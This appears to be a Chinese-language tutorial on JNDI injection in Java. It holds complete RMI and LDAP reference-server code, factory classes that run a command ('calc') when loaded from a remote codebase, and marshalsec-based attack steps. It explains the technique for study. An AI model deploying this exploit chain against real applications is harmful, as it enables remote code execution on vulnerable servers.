关于JNDI:
命名系统是一组关联的上下文,而上下文是包含零个或多个绑定的对象,每个绑定都有一个原子名(实际上就是给绑定的对象起个名字,方便查找该绑定的对象), 使用JNDI的好处就是配置统一的管理接口,下层可以使用RMI、LDAP或者CORBA来访问目标服务
要获取初始上下文,需要使用初始上下文工厂
比如JNDI+RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//通过名称查找对象
ctx.lookup("refObj");
比如JNDI+LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
但是如上虽然设置了初始化工厂和provider_url,但是JNDI是支持动态协议转换的,通过使用上下文来调用lookup函数使用远程对象时,JNDI可以根据提供的URL来自动进行转换,所以这里的关键点就是lookup的参数可被攻击者控制。
JNDI命名引用
在命名和目录服务中绑定JAVA对象数量过多时占用的资源太多,然而如果能够存储对原始对象的引用那么肯定更加方便,JNDI命名引用就是用Reference类表示,其由被引用的对象和地址组成,那么意味着此时被应用的对象是不是就可以不一定要求与提供JNDI服务的服务端位于同一台服务器。
Reference通过对象工厂来构造对象。对象工厂的实际功能就是我们需要什么对象即可通过该工厂类返回我们所需要的对象。那么使用JNDI的lookup查找对象时,那么Reference根据工厂类加载地址来加载工厂类,此时肯定会初始化工程类,在之前的调JNDI payload的过程中也和这文章讲的一样,打JNDI里的三种方法其中两种就是将命令执行的代码块写到工厂类的static代码块或者构造方法中,那么工厂类最后再构造出需要的对象,这里实际就是第三种getObjectInstance了。
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
比如上面这三段代码即通过Reference绑定了远程对象并提供工厂地址,那么当客户端查找Foo名称的对象时将会到工厂地址处去加载工厂类到本地。
从远程加载类时有两种不同级别:
1.命名管理器级别
2.服务提供者(SPI)级别
直接打RMI时加载远程类时要求强制安装Security Manager,并且要求useCodebaseOnly为false
打LDAP时要求com.sun.jndi.ldap.object.trustURLCodebase = true(默认为false),但是这个设置并不是必须的。因为这都是从服务提供者接口(SPI)级别来加载远程类。
但是在命名管理级别不需要安装安全管理器(security manager)且jvm选项中低版本的不受useCodebaseOnly限制
JNDI Reference+RMI攻击
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
此时当客户端通过lookup('refObj')获取远程对象时,此时将拿到reference类,然后接下来将去本地的classpath中去找名为refClassName的类,如果本地没找到,则将会Reference中指定的工厂地址中去找工厂类
RMIClinent.java
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }
RMIServer.java
package com.longofo.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 创建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
ExportObject.java
package com.longofo.remoteclass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; static { //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); // throw new Exception(sb); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { System.out.println("333"); return null; } public ExportObject(){ System.out.println("222"); } }
此时服务端创建注册表,此时将Reference对象绑定到注册表中,此时
从上面的代码中可以看到此时初始化工厂后就可以来调用远程对象
此时由输出也可以看到此时触发了工厂类的static代码块和构造方法以及getObjectInstance方法
在客户端lookup处下断点跟踪也可以去发现整个的调用链,其中getReference首先拿到绑定对象的引用,然后再通过getObjectFactoryFromReference从Reference拿到对象工厂,之后再从对象工厂拿到我们最初想要查找的对象的实例。
JNDI Reference+LDAP
LDAPSeriServer.java
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.IOException; import java.net.InetAddress; /** * LDAP server implementation returning JNDI references * * @author mbechler */ public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: test_node1"); //因为LDAP是树形结构的,因此这里要构造树形节点,那么肯定有父节点与子节点 ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: test_node3"); ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); //此子节点中存储Reference类名 System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); //LDAP服务开始监听 } catch (Exception e) { e.printStackTrace(); } } }
LDAPServer.java
package com.longofo;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext; import javax.naming.directory.ModificationItem; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Hashtable; public class LDAPServer1 { public static void main(String[] args) throws NamingException, IOException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); String javaCodebase = "http://127.0.0.1:8000/"; //配置加载远程工厂类的地址 byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath()); BasicAttribute mod1 = new BasicAttribute("javaCodebase", javaCodebase); BasicAttribute mod2 = new BasicAttribute("javaClassName", "DeserPayload"); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", javaSerializedData);
ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); } }
LDAPClient.java
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient1 {
public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); } }
此时客户端初始化上下文后就可以去访问ldap服务器上对应的记录,记录名为uid=longofo,ou=employees,dc=example,dc=com ,那么对应在服务端的命名空间中必定存在这条记录,以及绑定的Reference对象。此时就能calc。
marshalsec攻击工具化
结合marshalsec集合的RMIRefServer和LDAPRefServer,来攻击客户端,只要客户端的lookup的参数可控,并且jdk版本满足约束即可
打RMI
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient1 { public static void main(String[] args) throws NamingException { //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); //Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); Object object = ctx.lookup("rmi://127.0.0.1:1099/a"); } }
打LDAP
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient1 { public static void main(String[] args) throws NamingException { //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); //Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); Object object = ctx.lookup("ldap://127.0.0.1:1099/a"); } }
Exploit.class
public class Exploit { public Exploit() { try { Runtime.getRuntime().exec("calc"); } catch (Exception var2) { var2.printStackTrace(); } } public static void main(String[] argv) { new Exploit(); } }